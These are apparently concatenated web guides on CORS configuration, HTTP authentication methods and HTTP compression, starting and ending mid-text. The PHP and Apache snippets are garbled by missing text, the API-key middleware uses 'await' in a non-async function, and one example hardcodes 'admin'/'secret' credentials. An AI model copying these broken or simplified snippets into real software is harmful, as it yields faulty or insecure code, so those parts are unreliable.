'Access-Control-Max-Age': '600' // Chosen example permission lifetime. }) res.status(204).end() }) app.get('/profile', (_req, res) => { res.set('Cache-Control', 'no-store').json({ displayName: 'Example' }) }) app.listen(3000) ``` Put the CORS handling before any middleware that can reject requests, so allowed origins can read your error responses too. Handle preflight before cookie or Bearer authentication, since the preflight carries neither. Authenticate the actual request afterwards. For an origin you don't allow, leaving out the headers blocks browsers, but curl can still call a public endpoint; it doesn't care. ### Express with the cors middleware The maintained [cors middleware](https://expressjs.com/en/resources/middleware/cors/) saves you writing those checks by hand. Use this instead of the manual handlers above, mounted before authentication and your API routes: ```javascript const cors = require('cors') app.use('/api', cors({ origin: ['https://app.example.com', 'https://admin.example.com'], methods: ['GET', 'HEAD', 'POST', 'PATCH', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'], exposedHeaders: ['ETag', 'Location'], credentials: true, maxAge: 600 })) app.use('/api', express.json()) ``` The middleware answers preflights itself, so you don't need a separate catch-all OPTIONS route. Listing PATCH here only tells browsers they may send it; you still need a PATCH handler. Keep the list in sync with your routes. If the frontend sends If-Match, add it to `allowedHeaders` too. ### Flask This [Flask-Cors](https://flask-cors.readthedocs.io/en/latest/api.html) example allows two origins on one path. Install Flask and Flask-Cors and run it with your usual Flask server: ```python from flask import Flask, jsonify from flask_cors import CORS app = Flask(__name__) CORS(app, resources={r"^/api/profile$": { "origins": ["https://app.example.com", "https://admin.example.com"], "methods": ["GET", "HEAD"], "allow_headers": ["Authorization"], "expose_headers": ["ETag"], "supports_credentials": True, "max_age": 600, }}) @app.get("/api/profile") def profile(): response = jsonify(displayName="Example") response.headers["Cache-Control"] = "no-store" return response ``` The `resources` keys are regular expressions, not glob patterns. This route returns a public value; add authentication before you return real account data. Make sure 401 responses carry the CORS headers too, or the frontend gets an opaque CORS failure instead of a 401 it can handle. ### Spring MVC In Spring MVC, register a per-path policy through [WebMvcConfigurer](https://docs.spring.io/spring-framework/reference/web/webmvc-cors.html). This class configures your existing controllers; it doesn't create any endpoints: ```java import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; @Configuration public class CorsConfig implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/api/**") .allowedOrigins("https://app.example.com") .allowedMethods("GET", "HEAD", "PUT") .allowedHeaders("Content-Type", "Authorization", "If-Match") .exposedHeaders("ETag") .allowCredentials(true) .maxAge(600); } } ``` If Spring Security sees requests before MVC does, enable its CORS support as the Spring docs describe. Otherwise the security filter rejects the preflight before your MVC config ever runs. ### PHP In a small PHP endpoint, set the headers before any output and before authentication. Save this GET-only example as `profile.php`: ```php 'Example']); } ``` [PHP's header function](https://www.php.net/manual/en/function.header.php) only works before output, and even a stray blank line before ` Header onsuccess unset Access-Control-Allow-Origin Header always unset Access-Control-Allow-Origin Header always set Access-Control-Allow-Origin "https://app.example.com" Header onsuccess unset Access-Control-Allow-Credentials Header always unset Access-Control-Allow-Credentials Header always set Access-Control-Allow-Credentials "true" Header always set Access-Control-Allow-Methods "GET, HEAD" Header always set Access-Control-Allow-Headers "Authorization" Header always set Access-Control-Max-Age "600" ``` mod_headers has to be enabled. These directives only add headers; they can't turn a 401 preflight into a success. The upstream needs to answer OPTIONS with a 2xx before it checks authentication. Check the headers on upstream errors, not just on normal responses. In Caddy, [mutually exclusive handle blocks](https://caddyserver.com/docs/caddyfile/directives/handle) separate preflights from proxied requests. This config assumes the proxy owns CORS: ```caddy api.example.com { handle /api/* { header { >Access-Control-Allow-Origin https://app.example.com >Access-Control-Allow-Credentials true } @preflight { method OPTIONS header Origin https://app.example.com header Access-Control-Request-Method * } handle @preflight { header Access-Control-Allow-Methods "GET, HEAD" header Access-Control-Allow-Headers Authorization header Access-Control-Max-Age 600 respond "" 204 } handle { reverse_proxy 127.0.0.1:3000 } } } ``` The [`>` prefix](https://caddyserver.com/docs/caddyfile/directives/header) delays setting the header until the response goes out, so it overrides whatever the upstream sent. Preflights from other origins don't match `@preflight`. And again, allowing a method doesn't implement it; the upstream still enforces its own methods and authorization. ## Real-World Scenarios A public, read-only API can send `Access-Control-Allow-Origin: *`, as long as clients don't use `credentials: 'include'`. An API that serves account data should check the origin against an allowlist, set its credentials policy deliberately, and still authorize every request. For a FormData upload, let Fetch set Content-Type itself so the multipart boundary is right. `multipart/form-data` is safelisted, but adding a custom `X-File-Name` header or an XMLHttpRequest upload progress listener triggers a preflight anyway. [WebSockets have their own handshake and Origin check](https://websockets.spec.whatwg.org/#opening-handshake); CORS response headers don't apply to them. Here's a cookie-authenticated profile update from the browser: ```javascript const response = await fetch('https://api.example.com/profile', { method: 'PATCH', credentials: 'include', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken // Obtained from the application's CSRF flow. }, body: JSON.stringify({ displayName: 'Avery' }) }) if (!response.ok) throw new Error(`HTTP ${response.status}`) ``` The preflight asks for PATCH with `content-type` and `x-csrf-token`. Passing it authenticates nothing; the real PATCH must carry the cookie and a valid CSRF token. If the session has expired, the server returns 401, and that response needs the allow-origin and allow-credentials headers too, or this code can't even see the 401. Images work differently. An `` from another origin displays fine, but JavaScript can't fetch its bytes, and drawing it onto a canvas locks you out of reading the pixels. If you need canvas access, set the image's `crossOrigin` property before setting `src`, and have the server send the CORS headers. See [MDN's canvas guidance](https://developer.mozilla.org/en-US/docs/Web/HTML/How_to/CORS_enabled_image). ## Troubleshooting Common CORS Errors Each browser words these differently. MDN documents these reasons, among others: ```text Reason: CORS header 'Access-Control-Allow-Origin' missing Reason: Multiple CORS header 'Access-Control-Allow-Origin' not allowed Reason: Credential is not supported if the CORS header 'Access-Control-Allow-Origin' is '*' ``` For a missing header, check the failing response, not just a working one. A 502 from the proxy or a 401 from your auth layer often skips the code that adds CORS headers. For duplicate values, look for a proxy and the application both adding the header. [Express `res.set()`](https://github.com/expressjs/express/blob/master/lib/response.js) replaces the value, so calling it twice in Express won't produce two headers. A preflight has to get a 2xx. A 401, 403 or redirect stops the actual request from ever being sent, so keep OPTIONS away from your login redirect. 200 and 204 both work, as long as the headers are there. When a method or header is rejected, compare the names in the preflight request with the names in the response. A DELETE needs DELETE in the allowed methods. A request that sends If-Match needs `if-match` in the allowed headers; exposing ETag on responses doesn't cover it, because that's the other direction. If the fetch succeeds but `response.headers.get('ETag')` returns `null`, the header probably isn't exposed. Confirm in DevTools that the server sent it, then add ETag to `Access-Control-Expose-Headers`. With `credentials: 'include'`, list headers by name; the `*` wildcard doesn't apply. Redirects need their own check. If the frontend calls an `http://` URL or an old path, point it at the final HTTPS URL directly. Then see where OPTIONS actually landed: a trailing-slash redirect, a login redirect, or your API handler. Adding headers to the final GET won't help if the preflight already failed. ## Debugging CORS Issues In DevTools, look at the request's Origin and, if there's an OPTIONS request, its `Access-Control-Request-Method` and `Access-Control-Request-Headers`. Compare those with what the preflight response allowed, then check the CORS headers on the actual response. No OPTIONS request at all means either no preflight was needed or the browser reused a cached one. Reproduce both exchanges with curl. Keep the first one a GET rather than switching to HEAD: ```bash curl -i 'https://api.example.com/profile' \ -H 'Origin: https://app.example.com' curl -i -X OPTIONS 'https://api.example.com/profile' \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: GET' \ -H 'Access-Control-Request-Headers: authorization' ``` This shows you the headers the server sends; it can't tell you what the browser will allow. For that, run the fetch from your real frontend origin. `mode: 'no-cors'` won't fix a JSON API call. It gives you an opaque response with status 0 and no readable headers or body. Adding `Access-Control-Allow-Origin` to the request doesn't help either; it's a response header, and only the server can send it. When you test a policy change, remember the preflight cache. A cached answer means no OPTIONS request appears, while the actual response still gets checked. Use a fresh browser profile or private window to see the full exchange, and compare requests with the same origin, credentials mode, method and headers. To debug a server error, reproduce the exact request the browser sends. An anonymous GET that works tells you little about a cookie-authenticated PATCH that runs through different middleware. Check the Network panel's initiator and redirect chain along with the final status. The rejected fetch promise in JavaScript won't show you a response the browser refused to share. ## Origin Validation and CSRF Never echo back any Origin you receive while also sending allow-credentials; that lets every website read your users' data. Resist allowing `null` to make an error go away, too: [sandboxed documents and other opaque origins send `null`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Origin#null), so an attacker can produce it. And an origin allowlist is no substitute for per-user authorization or CSRF checks. Match origins exactly. `https://app.example.com.evil.test` isn't your app, but a substring check like `origin.includes('example.com')` would accept it. For a short allowlist, compare full origins. For subdomain rules, parse the URL and check the scheme and hostname properly instead of searching the raw string. Add development ports on purpose: `http://localhost:3000` and `http://localhost:5173` are different origins. ## Performance Optimization Pick a preflight cache lifetime based on how quickly policy changes need to take effect. Switching JSON to form encoding, or Bearer tokens to cookies, just to dodge OPTIONS is a bad trade; it changes how requests are parsed and secured. Cache preflights where it makes sense, and set the actual response's caching separately. For example, a ten-minute preflight cache on a response that shouldn't be stored: ```http Access-Control-Max-Age: 600 Cache-Control: no-store ``` The browser can reuse the preflight answer for up to ten minutes (or its own limit, if lower), while `no-store` keeps the response itself out of the HTTP cache. They control different caches. When you remove an allowed origin, stop granting it on actual responses right away rather than waiting for cached preflights to expire. ## Related Resources - [OPTIONS](https://howhttpworks.com/methods/options) - [Preflight request](https://howhttpworks.com/glossary/preflight-request) - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin) - [Vary](https://howhttpworks.com/headers/vary) - [Sessions and state](https://howhttpworks.com/guides/sessions-and-state) --- # HTTP Authentication Methods and Best Practices > A comprehensive guide to HTTP authentication methods including Basic Auth, Bearer tokens, API keys, and OAuth 2.0. Source: https://howhttpworks.com/guides/authentication Last reviewed: 2026-10-04 > **TL;DR:** Pick the auth mechanism that matches your trust boundary and operational needs. Basic Auth is for narrow controlled cases, API keys are for service access, Bearer tokens are common for APIs, and session cookies are often the simplest fit for traditional web apps. Use HTTPS in every case. HTTP authentication is the process of proving who a client is before the server decides what that client may do. In practice, most teams are not choosing an abstract security concept. They are choosing how browsers, mobile apps, CLIs, workers, and services present credentials on every request. ## Introduction Every time you log into a site, call an internal API, or send a request with an API key, you are in authentication territory. Authentication answers "who are you?" Authorization answers "what are you allowed to do?" Mixing those two is one of the fastest ways to make an auth system confusing. **Why authentication matters:** - Protects sensitive data and operations - Enables personalized user experiences - Prevents unauthorized access to resources - Provides audit trails for security compliance - Enables rate limiting and usage tracking ## Common Authentication Methods ### 1. Basic Authentication Basic Auth sends credentials as a Base64-encoded string in the `Authorization` header. **How it works:** ```http GET /api/users HTTP/1.1 Host: api.example.com Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= ``` The string `dXNlcm5hbWU6cGFzc3dvcmQ=` is Base64 encoding of `username:password`. **Implementation:** ```javascript // Server (Node.js/Express) app.use((req, res, next) => { const auth = req.headers.authorization if (!auth || !auth.startsWith('Basic ')) { return res.status(401).set('WWW-Authenticate', 'Basic').send('Authentication required') } const credentials = Buffer.from(auth.slice(6), 'base64').toString() const [username, password] = credentials.split(':') if (username === 'admin' && password === 'secret') { next() } else { res.status(401).send('Invalid credentials') } }) // Client fetch('https://api.example.com/users', { headers: { Authorization: 'Basic ' + btoa('username:password') } }) ``` **Pros:** - Simple to implement - Widely supported - No additional infrastructure needed **Cons:** - Credentials sent with every request - Vulnerable if not used over HTTPS - No built-in expiration - Not suitable for most browser-based product UX ### 2. Bearer Token Authentication Bearer tokens (like JWTs) are passed in the Authorization header and represent proof of authentication. **How it works:** ```http GET /api/protected HTTP/1.1 Host: api.example.com Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... ``` **JWT (JSON Web Token) Implementation:** ```javascript const jwt = require('jsonwebtoken') // Generate token on login app.post('/login', (req, res) => { const { username, password } = req.body // Verify credentials... if (validCredentials(username, password)) { const token = jwt.sign({ userId: 123, username }, process.env.JWT_SECRET, { expiresIn: '24h' }) res.json({ token }) } else { res.status(401).json({ error: 'Invalid credentials' }) } }) // Verify token on protected routes const authMiddleware = (req, res, next) => { const auth = req.headers.authorization if (!auth || !auth.startsWith('Bearer ')) { return res.status(401).json({ error: 'No token provided' }) } const token = auth.slice(7) try { const decoded = jwt.verify(token, process.env.JWT_SECRET) req.user = decoded next() } catch (err) { res.status(401).json({ error: 'Invalid token' }) } } app.get('/api/protected', authMiddleware, (req, res) => { res.json({ message: `Hello ${req.user.username}` }) }) ``` **Client usage:** ```javascript // Store token from login const token = await login('username', 'password') localStorage.setItem('token', token) // Use token for API requests fetch('https://api.example.com/protected', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}` } }) ``` The tradeoff here is operational, not just syntactic: bearer tokens are convenient because any holder of the token can use it. That simplicity is why they fit APIs well and why token storage decisions matter so much. **Pros:** - Stateless (no server-side session storage) - Can include user data and permissions - Supports expiration - Works well with SPAs and mobile apps **Cons:** - Larger than session IDs - Cannot be invalidated without additional infrastructure - Vulnerable to XSS if stored in localStorage - Requires careful secret management ### 3. API Key Authentication API keys are long-lived credentials used for server-to-server or application authentication. **Common patterns:** ```http # Header-based GET /api/data HTTP/1.1 X-API-Key: sk_live_abc123xyz # Query parameter (less secure) GET /api/data?api_key=sk_live_abc123xyz HTTP/1.1 # Custom authentication scheme Authorization: ApiKey sk_live_abc123xyz ``` **Implementation:** ```javascript app.use('/api', (req, res, next) => { const apiKey = req.headers['x-api-key'] if (!apiKey) { return res.status(401).json({ error: 'API key required' }) } // Validate against database const isValid = await validateApiKey(apiKey) if (!isValid) { return res.status(401).json({ error: 'Invalid API key' }) } next() }) ``` **Best practices:** - Use different keys for development/production - Implement rate limiting per key - Allow key rotation - Prefix keys to identify type (e.g., `pk_` for publishable, `sk_` for secret) - Never commit keys to version control ### 4. Session Cookie Authentication Server stores session data and sends a session ID to the client as a cookie. **Flow:** ```text 1. User logs in with credentials 2. Server creates session and stores in database/memory 3. Server sends session ID as HttpOnly cookie 4. Browser automatically includes cookie in subsequent requests 5. Server validates session ID and retrieves user data ``` **Implementation:** ```javascript const session = require('express-session') app.use( session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { secure: true, // HTTPS only httpOnly: true, // No JavaScript access sameSite: 'strict', // CSRF protection maxAge: 86400000 // 24 hours } }) ) app.post('/login', (req, res) => { const { username, password } = req.body if (validCredentials(username, password)) { req.session.userId = getUserId(username) req.session.username = username res.json({ success: true }) } else { res.status(401).json({ error: 'Invalid credentials' }) } }) app.get('/api/profile', (req, res) => { if (!req.session.userId) { return res.status(401).json({ error: 'Not authenticated' }) } res.json({ userId: req.session.userId, username: req.session.username }) }) app.post('/logout', (req, res) => { req.session.destroy() res.json({ success: true }) }) ``` **Pros:** - Secure (HttpOnly cookies prevent XSS) - Server can invalidate sessions - Automatic browser handling - Natural CSRF protection with SameSite **Cons:** - Requires server-side storage - Doesn't work well with distributed systems (without shared session store) - CORS complications for cross-domain requests ### 5. OAuth 2.0 OAuth is a delegation protocol that allows third-party applications to access user data without sharing passwords. **Common flows:** **Authorization Code Flow (for web apps):** ```text 1. User clicks "Login with Google" 2. Redirect to Google with client_id and redirect_uri 3. User logs in and grants permission 4. Google redirects back with authorization code 5. Exchange code for access token (server-side) 6. Use access token to access user data ``` **Implementation example (simplified):** ```javascript // Step 1: Redirect to OAuth provider app.get('/auth/google', (req, res) => { const authUrl = `https://accounts.google.com/o/oauth2/v2/auth?` + `client_id=${process.env.GOOGLE_CLIENT_ID}&` + `redirect_uri=${encodeURIComponent('http://localhost:3000/auth/callback')}&` + `response_type=code&` + `scope=profile email` res.redirect(authUrl) }) // Step 2: Handle callback app.get('/auth/callback', async (req, res) => { const { code } = req.query // Exchange code for token const tokenResponse = await fetch('https://oauth2.googleapis.com/token', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ code, client_id: process.env.GOOGLE_CLIENT_ID, client_secret: process.env.GOOGLE_CLIENT_SECRET, redirect_uri: 'http://localhost:3000/auth/callback', grant_type: 'authorization_code' }) }) const { access_token } = await tokenResponse.json() // Use access token to get user info const userResponse = await fetch('https://www.googleapis.com/oauth2/v2/userinfo', { headers: { Authorization: `Bearer ${access_token}` } }) const user = await userResponse.json() // Create session or JWT for user req.session.user = user res.redirect('/dashboard') }) ``` ## Security Best Practices ### 1. Always Use HTTPS ```javascript // Enforce HTTPS app.use((req, res, next) => { if (!req.secure && process.env.NODE_ENV === 'production') { return res.redirect(`https://${req.headers.host}${req.url}`) } next() }) ``` ### 2. Implement Rate Limiting ```javascript const rateLimit = require('express-rate-limit') const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes limit: 5, // 5 attempts (express-rate-limit v7+; `max` in older versions) message: 'Too many login attempts, please try again later' }) app.post('/login', authLimiter, loginHandler) ``` ### 3. Use Strong Passwords ```javascript const bcrypt = require('bcrypt') // Hash password on registration const hashedPassword = await bcrypt.hash(password, 10) // Verify on login const isValid = await bcrypt.compare(password, hashedPassword) ``` ### 4. Implement Multi-Factor Authentication (MFA) ```javascript const speakeasy = require('speakeasy') // Generate secret const secret = speakeasy.generateSecret({ name: 'MyApp' }) // Verify TOTP code const verified = speakeasy.totp.verify({ secret: secret.base32, encoding: 'base32', token: userProvidedCode }) ``` ### 5. Protect Against Common Attacks **CSRF Protection:** ```javascript const csrf = require('csurf') app.use(csrf({ cookie: true })) // Include CSRF token in forms ``` **XSS Protection:** ```javascript // Sanitize user input const validator = require('validator') const clean = validator.escape(userInput) // Use HttpOnly cookies res.cookie('session', sessionId, { httpOnly: true }) ``` ## Troubleshooting Common Issues **Issue: 401 Unauthorized on valid credentials** ```text Check: - Password hashing comparison - Token expiration - Clock skew (for JWT) - Case sensitivity in credentials ``` **Issue: CORS errors with credentials** ```javascript app.use( cors({ origin: 'https://yourfrontend.com', credentials: true }) ) ``` **Issue: Tokens not being sent** ```javascript // Ensure credentials: 'include' for cookies fetch('/api/protected', { credentials: 'include' }) ``` ## Related Resources - [Authorization Header](https://howhttpworks.com/headers/authorization) - [WWW-Authenticate Header](https://howhttpworks.com/headers/www-authenticate) - [Cookie Security](https://howhttpworks.com/guides/cookie-security) - [401 Unauthorized](https://howhttpworks.com/status-codes/401) - [403 Forbidden](https://howhttpworks.com/status-codes/403) --- # HTTP Compression: gzip, Brotli and Zstandard Setup > How HTTP compression works: Accept-Encoding negotiation, gzip vs Brotli vs zstd, nginx, Caddy, Express and Cloudflare config, BREACH, and measuring with curl. Source: https://howhttpworks.com/guides/http-compression Last reviewed: 2026-10-04 > **TL;DR:** The browser lists what it can decode in `Accept-Encoding`, the server picks one and labels the body with `Content-Encoding: br`, `gzip` or `zstd`, and adds `Vary: Accept-Encoding` so caches keep the variants apart. Compress text (HTML, CSS, JS, JSON, SVG), skip already-compressed media and tiny responses, pre-compress static assets at build time, and verify each layer with `curl -H 'Accept-Encoding: …' -w '%{size_download}'` rather than trusting a config file. ## How the negotiation works Compression in HTTP is ordinary content negotiation. The client advertises the content codings it can decode, the server chooses one, and the response says which one was applied: ```http GET /app.js HTTP/1.1 Host: example.com Accept-Encoding: gzip, deflate, br, zstd HTTP/1.1 200 OK Content-Type: text/javascript Content-Encoding: br Vary: Accept-Encoding Cache-Control: public, max-age=31536000, immutable ``` The rules that trip people up are in RFC 9110 §12.5.3: - **No `Accept-Encoding` header** means any coding is acceptable. Browsers always send one; `curl` without `--compressed` does not, and nginx's gzip module and Express's `compression` both answer such requests uncompressed. - **An empty `Accept-Encoding:`** means the client wants no coding at all. - **q-values rank choices.** `gzip;q=1.0, identity;q=0.5, *;q=0` prefers gzip, accepts uncompressed, and refuses everything else. When codings tie, the server picks. - **The server must only use a coding the client listed** (or any coding if the header is missing). Sending `br` to a client that asked for `gzip` produces a garbled body, not an error page. `Content-Encoding` (RFC 9110 §8.4) is a property of the representation: the `ETag`, `Content-Length` and byte offsets for range requests all describe the encoded bytes, not the decoded file. That is why one URL can have three ETags, one per encoding, and why [range requests](https://howhttpworks.com/guides/range-requests) and compression interact the way they do. `Vary: Accept-Encoding` (RFC 9110 §12.5.5) tells every cache that the body depends on that request header, so the cache key must include it. Leave it out and a shared cache can store the `br` variant and serve it to a client that only understands gzip. How caches build keys from `Vary` is covered in [HTTP headers and caching](https://howhttpworks.com/guides/headers-and-caching); for compression the rule is simply: if the server ever varies the encoding, send `Vary: Accept-Encoding` on every variant, including the uncompressed one. ## The codings you will see | Token | Format | Spec | Notes | | --- | --- | --- | --- | | `gzip` | DEFLATE with a gzip header and CRC-32 | RFC 9110 §8.4.1.3, RFC 1952 | Universally supported. Recipients should treat `x-gzip` as the same thing. | | `deflate` | DEFLATE inside a zlib wrapper | RFC 9110 §8.4.1.2, RFC 1950 | RFC 9110 notes that some implementations send it without the zlib wrapper. Prefer gzip. | | `br` | Brotli | RFC 7932 | Levels 0–11. Supported by all current browsers. | | `zstd` | Zstandard | RFC 8878, RFC 9659 | Newest of the four. Encoders must not use a window larger than 8 MB for HTTP. | | `compress` | LZW | RFC 9110 §8.4.1.1 | Historical. Do not serve it. | **Zstandard support, as of 2026-10-04.** caniuse lists `zstd` content-encoding as supported in Chrome and Edge from 123, Firefox from 126 and Opera from 109. Safari 26.0–26.2 is marked partial because it decodes zstd but does not request it in `Accept-Encoding`; caniuse shows full support on iOS Safari from 26.3, while desktop Safari 26.3 and later is still marked partial with a note that it requires macOS 26.3. Samsung Internet has no support. In practice a server only sends `zstd` when the client lists it, so turning it on next to gzip and Brotli cannot break older clients. **The zstd window rule.** RFC 9659 makes the 8 MB `Window_Size` limit mandatory for the `zstd` content coding because browsers cap decoder memory. The `zstd` CLI stays inside that limit at levels 1–19, but `--ultra` levels 20–22 and `--long` raise the window above 8 MB, so a pre-compressed file larger than 8 MB built with those flags can fail to decode in the browser. ## What to compress and what to skip Compress text formats: `text/html`, `text/css`, `text/javascript` and `application/javascript`, `application/json`, `application/xml`, `image/svg+xml`, `application/manifest+json`, `application/wasm`, uncompressed fonts (`font/ttf`, `font/otf`) and `image/x-icon`. Skip formats that are already compressed internally: JPEG, PNG, GIF, WebP, AVIF, MP4, WebM, MP3, WOFF2 (which uses Brotli inside the font container), ZIP, and anything already gzipped. MDN's guidance is blunt: recompressing `.zip` or `.jpeg` "is usually not appropriate because it can increase the file size." You pay CPU on every request for nothing. Skip tiny responses. A gzip member alone carries a 10-byte header and an 8-byte trailer (RFC 1952), so a 40-byte JSON reply can grow. Each stack has its own threshold: | Stack | Default minimum size | | --- | --- | | nginx `gzip_min_length` | 20 bytes, read only from the `Content-Length` response header | | ngx_brotli `brotli_min_length` | 20 bytes | | Caddy `encode` `minimum_length` | 512 bytes | | Express `compression` `threshold` | 1 KB | | Cloudflare (to visitors) | 48 bytes for gzip, 50 bytes for Brotli and Zstandard | nginx's own example config sets `gzip_min_length 1000;`, which is a more sensible floor than the 20-byte default. Do not compress streaming responses unless the compressor flushes. Server-sent events behind a buffering compressor arrive in bursts or not at all. Caddy's `encode` bypasses its size threshold for server-sent events, and Express's `compression` adds `res.flush()` for exactly this case. ## Static (pre-compressed) vs dynamic compression **Dynamic compression** runs on every response as it leaves the server. It works for HTML and API responses that differ per request, but it costs CPU per request, so servers use a moderate level: nginx's `gzip_comp_level` defaults to 1, ngx_brotli's `brotli_comp_level` to 6, and Express's middleware sets Brotli quality to 4 instead of Node's default of 11, the slowest setting. **Static compression** happens once, at build or deploy time, at the highest level, and the server just picks the matching file. It is the right choice for fingerprinted CSS and JavaScript bundles: ```bash # keep the original; write app.js.gz, app.js.br and app.js.zst alongside it gzip -k -9 dist/assets/app.js brotli -k -q 11 dist/assets/app.js zstd -19 dist/assets/app.js -o dist/assets/app.js.zst ``` The server needs both the original and the sidecar files. nginx serves `.gz` with `gzip_static on;` (the `ngx_http_gzip_static_module` is not built by default; check `nginx -V` for `--with-http_gzip_static_module`) and `.br` with ngx_brotli's `brotli_static on;`. Caddy serves `.br`, `.zst` and `.gz` with `file_server { precompressed }`. nginx recommends that the original and compressed files carry the same modification time. A pre-compressed file has a fixed size, so the response carries an exact `Content-Length` and a stable strong `ETag`. Dynamic compression gives up both, as the next section shows. ## Content-Length, chunked transfer and ETags A dynamic compressor does not know the compressed size until it has finished, but HTTP headers go out first. So servers that compress on the fly drop `Content-Length` and frame the body another way: - **HTTP/1.1** uses `Transfer-Encoding: chunked` (RFC 9112 §7.1). - **HTTP/2 and HTTP/3** use DATA frames and end the stream with a flag. RFC 9113 §8.1 says the chunked transfer encoding "cannot be used in HTTP/2". The source of nginx's gzip filter shows what happens to a response it compresses: it clears `Content-Length`, clears `Accept-Ranges`, and converts a strong `ETag` to a weak one (`W/"…"`). The ngx_brotli filter does the same. It also only compresses `200`, `403` and `404` responses and skips any response that already has a `Content-Encoding`, so an app that compresses its own output is not compressed twice. Express's `compression` similarly removes `Content-Length` and skips `HEAD` requests, so a `HEAD` can report a different length from the `GET`. Consequences you will notice: - Download progress bars show an unknown size for dynamically compressed responses. - Range requests stop working on those responses (nginx removes `Accept-Ranges`), which is one reason never to compress video. - Weak ETags still work for `If-None-Match` revalidation but never match `If-Range`. - Cloudflare may drop `Content-Length` when it compresses for visitors. Its docs say to send `Cache-Control: no-transform` from the origin to preserve the header, which also stops Cloudflare from changing the encoding. ## Content-Encoding vs Transfer-Encoding | | `Content-Encoding` | `Transfer-Encoding` | | --- | --- | --- | | Defined in | RFC 9110 §8.4 | RFC 9112 §6.1 (HTTP/1.1 only) | | Describes | The representation | This one message on this one hop | | Typical values | `gzip`, `br`, `zstd` | `chunked` (occasionally `gzip, chunked`) | | Survives caching | Yes; caches store the encoded bytes | No; any hop may remove or add it | | ETag and ranges apply to | The encoded bytes | Not affected | | In HTTP/2 and HTTP/3 | Same meaning | Not allowed | `Transfer-Encoding: gzip` exists on paper, but browsers do not request it, so in practice compression on the web means `Content-Encoding` and `Transfer-Encoding` means `chunked`. If you see both `Content-Length` and `Transfer-Encoding` on one HTTP/1.1 message, RFC 9112 says `Transfer-Encoding` wins and the message "ought to be handled as an error", because that combination is the shape of a request-smuggling attack. ## Server configuration ### nginx with gzip and Brotli Stock nginx ships gzip (`ngx_http_gzip_module`), pre-compressed gzip (`ngx_http_gzip_static_module`) and `ngx_http_gunzip_module`. It has no Brotli or Zstandard module of its own. Brotli comes from **ngx_brotli, a third-party module** maintained under Google's GitHub organisation; you build it as a dynamic module against your nginx version or install a distribution package (Debian ships `libnginx-mod-http-brotli-filter` and `libnginx-mod-http-brotli-static`). ```nginx # Main context, before http {}. Paths depend on how the module was built or packaged. load_module modules/ngx_http_brotli_filter_module.so; load_module modules/ngx_http_brotli_static_module.so; http { gzip on; gzip_vary on; # Vary: Accept-Encoding; also used by ngx_brotli gzip_comp_level 5; gzip_min_length 1000; gzip_proxied any; # see note below # text/html is always compressed; do not list it gzip_types text/plain text/css text/xml text/javascript application/javascript application/json application/xml application/manifest+json application/wasm image/svg+xml image/x-icon font/ttf font/otf; brotli on; brotli_comp_level 5; brotli_min_length 1000; brotli_types text/plain text/css text/xml text/javascript application/javascript application/json application/xml application/manifest+json application/wasm image/svg+xml image/x-icon font/ttf font/otf; # Serve app.js.gz / app.js.br when they exist next to app.js gzip_static on; brotli_static on; } ``` Details that bite: - `gzip_types` defaults to `text/html` only. Without the directive, your CSS, JavaScript and JSON go out uncompressed. - `gzip_vary` defaults to `off`. ngx_brotli has no `brotli_vary`; nginx emits `Vary: Accept-Encoding` for Brotli responses only when `gzip_vary on` applies to that location. - `gzip_proxied` defaults to `off`, which disables compression for any request carrying a `Via` header. If a CDN or proxy in front of nginx adds `Via`, nginx silently stops compressing for it. `any` compresses regardless; the finer-grained values (`expired`, `no-cache`, `private`, `auth` and others) compress only responses with matching cache headers. - `gzip_min_length` only looks at the response's `Content-Length`. Responses without one, such as chunked upstream responses, are compressed whatever their size. ### Caddy ```text example.com { root * /srv/site encode zstd gzip file_server { precompressed br zstd gzip } } ``` `encode` compresses on the fly and supports only `zstd` and `gzip`; with no arguments it enables both and prefers zstd. When the client has no q-value preference, the first listed encoding wins. For Brotli in Caddy, ship `.br` files and let `file_server`'s `precompressed` option pick them up; its default order is `br zstd gzip`. ### Express (Node.js) ```javascript import express from 'express' import compression from 'compression' const app = express() app.use( compression({ threshold: '1kb', // the default filter: (req, res) => { // Example: never compress pages that mix secrets with reflected input if (req.path.startsWith('/account')) return false return compression.filter(req, res) } }) ) app.use(express.static('dist')) ``` `compression` 1.8.0 (February 2025) added Brotli alongside gzip and deflate; earlier versions only do gzip and deflate. It does not do zstd. It sets `Vary: Accept-Encoding`, never compresses a response that carries `Cache-Control: no-transform`, decides compressibility from `Content-Type` using the `compressible` package, and exposes `res.flush()` for server-sent events. In production, most teams put nginx, Caddy or a CDN in front and let that layer compress instead. ### Cloudflare From Cloudflare's [content compression](https://developers.cloudflare.com/speed/optimization/content/compression/) documentation (last updated April 2026): - To visitors, Cloudflare uses gzip, Brotli or Zstandard based on the visitor's `Accept-Encoding`, the plan and any Compression Rules. The documented defaults are Zstandard on Free, Brotli on Pro and Business, and gzip on Enterprise. - To your origin, Cloudflare always sends `Accept-Encoding: br, gzip`. It never asks the origin for zstd. - If the origin's response is already `br` or `gzip` and the visitor supports it, Cloudflare passes it through, unless a feature that rewrites the body (Rocket Loader, Email Address Obfuscation, Automatic HTTPS Rewrites and others) forces a decompress and recompress. - Cloudflare compresses only `200`, `403` and `404` responses, only for its listed content types, and only above 48 bytes (gzip) or 50 bytes (Brotli and Zstandard). - `Cache-Control: no-transform` from the origin stops Cloudflare from changing the encoding and keeps `Content-Length`. ## Measure it yourself Compression ratios depend entirely on your content, so measure your own responses instead of quoting someone else's percentages. `%{size_download}` is the number of body bytes that crossed the wire. When you set `Accept-Encoding` by hand, curl does not decode the body, so the figure is the compressed size: ```bash curl -s -H 